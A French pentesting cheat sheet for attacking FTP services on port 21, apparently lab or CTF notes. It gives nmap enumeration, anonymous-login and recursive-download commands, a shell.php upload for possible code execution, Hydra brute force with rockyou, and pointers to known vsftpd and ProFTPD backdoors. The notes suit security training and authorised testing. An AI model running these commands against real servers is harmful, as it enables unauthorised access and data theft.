21 - FTP
sommaire
Banner Grabbing
Telnet / Netcat
telnet 10.10.10.10 21
nc -nv 10.10.10.10 21
Nmap (bannière + scripts FTP)
nmap -sV -p21 -Pn --script banner 10.10.10.10
nmap -p21 --script 'ftp-*' 10.10.10.10 # anon, bounce, vuln, brute
nmap -p21 --script ftp-anon,ftp-vsftpd-backdoor,ftp-proftpd-backdoor 10.10.10.10
Connexion & énumération
Login anonyme
Nmap (-sC) teste FTP Bounce et l’accès anonyme. Essayer les identifiants anonymous:anonymous (mot de passe souvent vide).
ftp 10.10.10.10
# Name: anonymous | Password: anonymous (ou vide)
# non interactif :
ftp -inv 10.10.10.10 <<< $'user anonymous anonymous\nls\nbye'
Naviguer / transférer
ftp> ls -la # tout lister
ftp> binary # mode binaire (obligatoire exe/images, sinon corruption)
ftp> ascii # mode texte
ftp> passive # basculer actif/passif si 'ls' se bloque
ftp> get fichier # telecharger
ftp> put shell.php # uploader (si webroot accessible -> RCE potentielle)
ftp> mget * # tout telecharger
Tout télécharger (récursif) / monter
wget -m ftp://anonymous:anonymous@10.10.10.10 # miroir recursif
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.10
curlftpfs 10.10.10.10 /mnt/ftp -o user=anonymous:anonymous # monter le FTP
# navigateur : ftp://user:pass@10.10.10.10 (sans creds -> anonymous)
Attaques
Brute force (Hydra)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10
hydra -l admin -P rockyou.txt 10.10.10.10 ftp -t 4
# SecLists fournit des listes d'identifiants FTP par defaut
Vulnérabilités connues
searchsploit vsftpd 2.3.4 # backdoor (user finissant par :) -> shell port 6200)
searchsploit proftpd # 1.3.3c backdoor ; mod_copy CVE-2015-3306 (SITE CPFR/CPTO)
Fichiers de configuration à examiner
/etc/ftpusers
/etc/vsftpd.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd/